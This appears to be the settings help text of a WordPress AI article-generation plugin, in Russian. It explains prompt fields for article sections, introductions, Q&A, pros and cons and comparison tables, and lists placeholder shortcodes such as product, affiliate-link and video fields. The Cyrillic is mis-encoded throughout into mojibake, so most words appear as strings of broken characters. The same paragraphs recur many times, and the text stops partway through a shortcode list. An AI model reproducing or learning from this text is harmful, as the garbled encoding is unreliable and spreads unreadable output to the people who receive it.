текÑта AI:Промпт Генератора текÑта Заголовка AIПромпт Генератора текÑта Заголовка AI:БыÑÑ‚Ñ€Ð°Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ° — маÑÑовый или Ñлучайный выбор:Шаблоны Промптов:Промпт Ð´Ð»Ñ Ð¾Ñ‚Ð¿Ñ€Ð°Ð²ÐºÐ¸ в Редактор Изображений Контента AI:Промпт Ð´Ð»Ñ Ð¾Ñ‚Ð¿Ñ€Ð°Ð²ÐºÐ¸ в Редактор Изображений AI:Промпт Ð´Ð»Ñ Ð¾Ñ‚Ð¿Ñ€Ð°Ð²ÐºÐ¸ в Генератор изображений AI:Промпт на добавление к запроÑам на продолжение текÑтаПромпт, который будет иÑпользоватьÑÑ Ð´Ð»Ñ ÐºÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð° Ñтатьи, который будет применÑÑ‚ÑŒÑÑ Ðº каждому заголовку раздела, Ñозданному плагином (или введенному вручную) или ко вÑему контенту (в завиÑимоÑти от того, как вы выберете иÑпользование «ИÑпользовать указанный выше Промпт к контенту Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð²Ñего контента»). Флажок «СтатьÑ»). Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды:%%all_product_titles%%, %%all_product_info%%, %%product_title%%, %%product_description%%, %%language%%, %%product_author%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%offer_url%%, %%offer_price%%, %%product_list_price%%, %%offer_img%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%review_link%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%product_imgs_html%%, %%price_with_discount_fixed%%, %%first_hand_experience_prompt%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%current_section%%, %%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Обновление : также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт, который будет иÑпользоватьÑÑ Ð´Ð»Ñ ÐºÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð° Ñтатьи, который будет применÑÑ‚ÑŒÑÑ Ðº каждому заголовку раздела, Ñозданному плагином (или введенному вручную) или ко вÑему контенту (в завиÑимоÑти от того, как вы выберете иÑпользование «ИÑпользовать указанный выше Промпт к контенту Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð²Ñего контента»). Флажок «СтатьÑ»). Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды:%%all_product_titles%%, %%all_product_info%%, %%product_title%%, %%product_description%%, %%product_author%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%offer_url%%, %%offer_price%%, %%product_list_price%%, %%offer_img%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%review_link%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%product_imgs_html%%, %%price_with_discount_fixed%%, %%first_hand_experience_prompt%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%current_section%%, %%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Обновление : также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт, который будет иÑпользоватьÑÑ Ð´Ð»Ñ ÐšÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð° Статьи, который будет применÑÑ‚ÑŒÑÑ Ðº каждому заголовку раздела, Ñозданному плагином (или введенному вручную) или ко вÑему контенту (в завиÑимоÑти от того, как вы выберете иÑпользование «ИÑпользовать указанный выше Промпт к контенту Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð²Ñего контента»). Флажок «СтатьÑ»). Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды:%%current_section%%, %%product_title%%, %%product_description%%, %%language%%, %%all_product_titles%%, %%product_author%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%offer_url%%, %%offer_price%%, %%product_list_price%%, %%offer_img%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%review_link%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%product_imgs_html%%, %%price_with_discount_fixed%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%sections%%, %%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды ( шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð² Контенте Ñтатьи, который будет применÑÑ‚ÑŒÑÑ Ðº каждому заголовку Раздела, Ñгенерированному Плагином (или введенному вручную), или ко вÑему контенту (в завиÑимоÑти от того, как вы выберете Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ «ИÑпользовать Промпт выше Ñодержимого Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð²Ñего пункт «СтатьÑ»). Ð’Ñ‹ можете иÑпользовать Ñледующие Шорткоды: %%название%%, %%Ñзык%%, %%Ñтиль_напиÑаниÑ%%, %%тон_напиÑаниÑ%%, %%Разделы%%, %% current_section%%, %%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% — обновление: добавлены вложенные Шорткоды поддерживаетÑÑ (Шорткоды, Ñгенерированные правилами из других Плагинов). Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие Шорткоды, определенные в функции «Создание пользовательÑких Шорткодов» в наÑтройках правил — Ñто позволит вам Ñоздавать чаÑтично или полноÑтью генерируемые AI Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² Контента.Промпт Ð´Ð»Ñ ÑÐ¾Ð´ÐµÑ€Ð¶Ð°Ð½Ð¸Ñ Ñтатьи, который будет применÑÑ‚ÑŒÑÑ Ðº каждому заголовку раздела, Ñгенерированному плагином (или введенному вручную), или ко вÑему контенту (в завиÑимоÑти от того, как вы выберете флажок чек бокÑа 'ИÑпользуйте приведенный выше контентный промпт Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð²Ñей Ñтатьи' ). Ð’Ñ‹ можете иÑпользовать Ñледующие шорткоды: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%current_section%%, %%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции "Создатель ПользовательÑких Шорткодов" из наÑтроек правил - Ñто позволит вам Ñоздавать чаÑтично или полноÑтью AI-генерируемые промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт, который будет иÑпользоватьÑÑ Ð´Ð»Ñ ÐºÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð° Ñтатьи, который будет применÑÑ‚ÑŒÑÑ Ðº каждому заголовку раздела, Ñозданному плагином (или введенному вручную) или ко вÑему контенту (в завиÑимоÑти от того, как вы выберете иÑпользование «ИÑпользовать указанный выше Промпт к контенту Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð²Ñего контента»). Флажок «СтатьÑ»). Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %current_section%%, %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð² разделе «Ðнализ отзывов клиентов» Ñтатьи. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт иÑпользуемый Ð´Ð»Ñ Ñравнительной таблицы поÑтов. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, Ñозданные правилами других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð² разделе «Ðнализ отзывов клиентов». Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% — чтобы отключить завершение Ñтатьи, оÑтавьте Ñтот промпт пуÑтым. — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, Ñозданные правилами других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт на иÑпользование в отрывке поÑта. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð² вопроÑах и ответах (Q&A) ПоÑта. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции «Создание пользовательÑких шорткодов» в наÑтройках правил — Ñто позволит вам Ñоздавать чаÑтично или полноÑтью генерируемые иÑкуÑÑтвенным интеллектом Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт на иÑпользование отрывка из поÑта. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт, который будет иÑпользоватьÑÑ Ð´Ð»Ñ Ð²Ñ‹Ð´ÐµÑ€Ð¶ÐºÐ¸ из поÑта. Ð’Ñ‹ можете иÑпользовать Ñледующие шорткоды: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции "Создатель ПользовательÑких Шорткодов" из наÑтроек правил - Ñто позволит вам Ñоздавать чаÑтично или полноÑтью AI-генерируемые промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт иÑппользуемый Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð²Ñтупительной чаÑти поÑта. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% — чтобы отключить вÑтупление Ñтатьи, оÑтавьте Ñтот Промпт пуÑтым. — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, Ñозданные правилами других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента. Промпт иÑппользуемый Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð²Ñтупительной чаÑти поÑта. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% — чтобы отключить вÑтупление Ñтатьи, оÑтавьте Ñтот Промпт пуÑтым. — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента. Промпт Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð² вÑтуплении к поÑту. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% — чтобы отключить вÑтупление Ñтатьи, оÑтавьте Ñтот Промпт пуÑтым. — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI запроÑÑ‹, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента. Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт, который будет иÑпользоватьÑÑ Ð´Ð»Ñ Ð’Ñтупительной чаÑти ПоÑта. Ð’Ñ‹ можете иÑпользовать Ñледующие шорткоды: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - чтобы отключить вÑтупление Ñтатьи, оÑтавьте Ñтот промпт пуÑтым - Обновить: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции 'Создатель ПользовательÑких Шорткодов' из наÑтроек правил - Ñто позволит вам Ñоздавать чаÑтично или полноÑтью AI-генерируемые промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт иÑпользуемый в разделе «ПлюÑÑ‹ и минуÑÑ‹ ПоÑта». Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% — чтобы отключить завершение Ñтатьи, оÑтавьте Ñтот промпт пуÑтым. — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, Ñозданные правилами других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт иÑпользуемый Ð´Ð»Ñ Ð²Ð¾Ð¿Ñ€Ð¾Ñов и ответов по поÑту. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% — чтобы отключить завершение Ñтатьи, оÑтавьте Ñтот промпт пуÑтым. — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, Ñозданные правилами других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт иÑпользуемый Ð´Ð»Ñ Ð²Ð¾Ð¿Ñ€Ð¾Ñов и ответов по поÑту. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% — чтобы отключить завершение Ñтатьи, оÑтавьте Ñтот Промпт пуÑтым. — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт иÑпользуемый Ð´Ð»Ñ Ð²Ð¾Ð¿Ñ€Ð¾Ñов и ответов по поÑту. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% — чтобы отключить заключительную чаÑÑ‚ÑŒ Ñтатьи, оÑтавьте Ñтот промпт пуÑтым. — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента..Промпт, который будет иÑпользоватьÑÑ Ð´Ð»Ñ Ð²Ð¾Ð¿Ñ€Ð¾Ñов и ответов в поÑте. Ð’Ñ‹ можете иÑпользовать Ñледующие шорткоды: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - чтобы отключить Заключительную чаÑÑ‚ÑŒ поÑта, оÑтавьте Ñтот промпт пуÑтым - Обновить: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции 'Создатель ПользовательÑких Шорткодов' из наÑтроек правил - Ñто позволит вам Ñоздавать чаÑтично или полноÑтью AI-генерируемые промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð² разделах поÑтов. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð² Разделах ПоÑта. Ð’Ñ‹ можете иÑпользовать Ñледующие шорткоды: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, 